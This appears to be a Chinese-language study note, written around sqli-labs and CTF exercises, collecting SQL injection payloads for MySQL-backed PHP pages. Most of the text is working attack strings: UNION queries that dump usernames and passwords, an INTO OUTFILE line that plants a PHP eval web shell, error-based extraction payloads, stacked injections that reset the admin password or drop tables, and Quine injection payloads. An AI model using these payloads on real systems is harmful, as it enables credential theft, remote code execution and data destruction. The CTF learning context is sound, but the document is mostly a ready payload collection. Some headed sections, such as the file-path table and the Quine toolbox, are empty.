##数字型：#

1
id=-1 UNION SELECT 1, group_concat(table_name), 3
2
FROM information_schema.tables
3
WHERE table_schema = database()

1
id=-1 UNION SELECT 1, group_concat(column_name), 3
2
FROM information_schema.columns
3
WHERE table_name = 'users'

1
id=-1 UNION SELECT 1, group_concat(username, ':', password), 3
2
FROM users

💡 核心小结#

1. 判断类型： id=2-1 返回 id=1 的内容 $\rightarrow$ 数字型。
2. 占位： id=-1 是为了让出显示位置。
3. 连接： group_concat() 是为了解决回显位只有一行的问题。

##字符型：#

1
id=-1' UNION SELECT 1, group_concat(table_name), 3
2
FROM information_schema.tables
3
WHERE table_schema = database() --+

1
id=-1' UNION SELECT 1, group_concat(column_name), 3
2
FROM information_schema.columns
3
WHERE table_name = 'users' --+

1
id=-1' UNION SELECT 1, group_concat(username, ':', password), 3
2
FROM users --+

💡 核心小结#

• 本质： 字符型注入 = 闭合前面的引号 + 数字型 Payload + 注释后面的引号。
• 常用注释符：
  • --+ （-- 后面带个空格，URL 中用 + 表示）。
  • # （URL 编码为 %23）。
• 口诀： 一“点”闭合，二“杠”注释，中间还是 Union 注入。

##延伸：文件注入#

这个我在做sql lab 第七题时候新见到的，

因为不管怎么注入，如果语句正确，题目只会回显：

1
Welcome    Dhakkan
2
You are in.... Use outfile......

说明正确注入时，所有的回显都被后台设置为了这样的语句。

然后采用报错注入，就一直显示sql语句错误。

搜索一番后，才明白，这个延伸类型。

所以，这边就暂时总结一个使用文件注入的背景。

1
无回显环境：当页面不显示任何数据库查询结果，甚至连报错信息都不给时，文件注入可以把结果“写”出来给你看。

后端源码：

1
$id = $_GET['id'];
2
$sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
3
$result = mysqli_query($conn, $sql);
4
$row = mysqli_fetch_array($result);
5
if($row) {
6
    echo "You are in.... Use outfile......";
7
} else {
8
    echo "You have an error in your SQL syntax";
9
}

先进行的是探测攻击。

这边用的命令跟前面的差不了多少。

找到恰好使网页显示sql语句错误的闭合方式，然后用 ?id=1 ORDER BY ? 判断列数。

之后便是查看文件的写入路径，毕竟我们得先有路径才能直接文件写入的注入攻击。

常用的方法两种：

一.

phpinfo.php 直接访问。

当然了这个方法大部分时候都无法成功，所以我们就得用第二种了。

二.

强制报错：

1. 给参数传一个它无法处理的类型，例如：?id=1[]（把 ID 变成数组）。

2. 访问一个不存在的文件或故意造成逻辑错误：?id=-1''))。

其他的方法待搜集，不过猜是万法。

这边给一个小表格：

可以根据服务器环境直接猜测位置。

当知道了文件绝对路径后，我们就可以进行攻击了。

注入?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "C:\\phpStudy\\WWW\\shell.php" --+

1. extractvalue()#

这是最接近 updatexml() 的替代品，原理完全相同（都是 XPath 语法错误）。

1
AND extractvalue(1, concat(0x7e, (SELECT user()), 0x7e))

2. floor() + rand() + group by#

这是最经典的报错注入方式，通杀 MySQL 5.x 到 8.x 版本。利用 group by 在临时表插入数据时的主键冲突（Duplicate entry）报错。

1
AND (SELECT 1 FROM (SELECT count(*), concat(user(), floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x) a)

3. 几何函数报错#

在较新的 MySQL 版本（尤其是 5.7 和 8.0）中，引入了很多处理几何数据的函数。如果传入非法的格式，它们也会报错并回显数据。

1
AND ST_LatFromGeoHash(concat(0x7e, (SELECT user()), 0x7e))

1
AND ST_LongFromGeoHash(concat(0x7e, (SELECT user()), 0x7e))

1
AND ST_PointFromGeoHash(concat(0x7e, (SELECT user()), 0x7e))

4. GTID 函数报错#

利用全局事务标识符（GTID）相关函数进行报错。

1
AND GTID_SUBSET(concat(0x7e, (SELECT user()), 0x7e), 1)

1
AND GTID_SUBTRACT(concat(0x7e, (SELECT user()), 0x7e), 1)

5. 数学/溢出报错#

利用数学指数函数 exp() 产生双精度浮点数溢出错误。

1
AND exp(~(SELECT * FROM (SELECT user()) a))

当然了，报错注入不可能只有这么点，具体情况具体分析。

背景：#

并不是所有的环境都能玩堆叠。它有两个硬性门槛：

1. 后端代码支持：比如 PHP 中必须使用 mysqli_multi_query() 函数。如果只用普通的 mysqli_query()，它遇到分号就会报错或者只执行第一条，堆叠就失效了。
2. 数据库类型：MySQL、MSSQL、PostgreSQL 支持得很香，但 Oracle 默认就不太支持这种玩儿法。

逻辑对比：#

Step 1: 确认漏洞 & 尝试闭合#

和字符型注入一样，我们先得“逃逸”出来。

假设后端源码：

1
$uname = $_GET['uname'];
2
$sql = "SELECT * FROM users WHERE uname = '$uname'";
3
mysqli_multi_query($db, $sql); // 关键函数！

Payload 探测：

?uname=admin'; select sleep(5); --+

拼接后的 SQL：

SELECT * FROM users WHERE uname = ‘admin’; select sleep(5); —+’

现象： 如果网页转了 5 秒才加载出来，说明堆叠注入成功生效了！它执行完查询后，又乖乖去跑了我们的 sleep 命令。

Step 2: 绕过死板的逻辑#

有时候，题目会有一个非常恶心的判断：

if ($ $ row[1] === $uname) { die($flag); }

这个逻辑要求数据库查出来的结果必须和输入的攻击代码一模一样。这时候 UNION 就没戏了，因为 UNION 出来的东西很难同时满足“注入”又满足“等式”。

攻击思路：先存后取。

1. 第一步：注入一条你喜欢的用户数据。

   Payload: ?uname=-1'; INSERT INTO users(id, uname, password) VALUES(888, 'moyu', '123'); --+

   这时候，数据库里就多了一个用户名为 ‘moyu’ 的人。

2. 第二步：用这个合法的用户名登录。

   Payload: ?uname=moyu

   后端执行：SELECT * FROM users WHERE uname = ‘moyu’;

   PHP 判断：if (‘moyu’ === ‘moyu’) -> 成立！ [HNCTF 2022 WEEK4]fun_sql(实战)

Step 3: 极致破坏#

既然能执行任何命令，堆叠注入在渗透测试中往往用来干这些事：

1. 改密码：1'; UPDATE users SET password='123' WHERE username='admin'; --+

2. 删库：1'; DROP TABLE users; --+

3. 重命名表名（绕过黑名单）：

   有些题目过滤了 flag 关键字，我们可以把 users 改名成 xxx，再把包含 flag 的表改名成 users：

   1'; RENAME TABLE users TO users1; RENAME TABLE words TO users; --+

小总结：#

堆叠注入就像是给了你一个远程的 SQL 终端。

• 优点：权限极高，可以修改数据，不依赖回显。
• 缺点：极其依赖 multi_query 这个函数，实战中这种配置其实不多。

核心原理#

定义： Quine 是指一个输出结果等于其自身源代码的程序。

应用场景： 当后端代码逻辑为 if ($password ===$row[‘password’])，而你不知道数据库里的密码时，通过注入让数据库 现场生成 一个和你输入的 Payload 完全一致的字符串，从而通过验证。

第一阶段：核心工具箱#

第二阶段：构造逻辑 (Step-by-Step)#

1
REPLACE('.', CHAR(46), '.')

1
REPLACE(REPLACE('str', CHAR(34), CHAR(39)), CHAR(46), 'str')

第三阶段：实战 Payload 模板#

1
REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

1
1' UNION SELECT REPLACE(REPLACE('1" UNION SELECT REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")#',CHAR(34),CHAR(39)),CHAR(46),'1" UNION SELECT REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")#')#

小总结：Quine 注入的解题思路#

1. 确定目标： 发现后端有 password === row.password 且无法直接爆破或盲注。
2. 寻找过滤： 检查是否过滤了 REPLACE、CHAR 或空格（若过滤空格，可用 /**/ 代替）。
3. 使用脚本： 这种 Payload 手写极易出错，通常使用 Python 脚本生成：
   • 先写好基础 SQL（如 1' UNION SELECT "." #）。
   • 将 . 替换为 Quine 的嵌套逻辑。
   • 运行脚本生成最终字符串。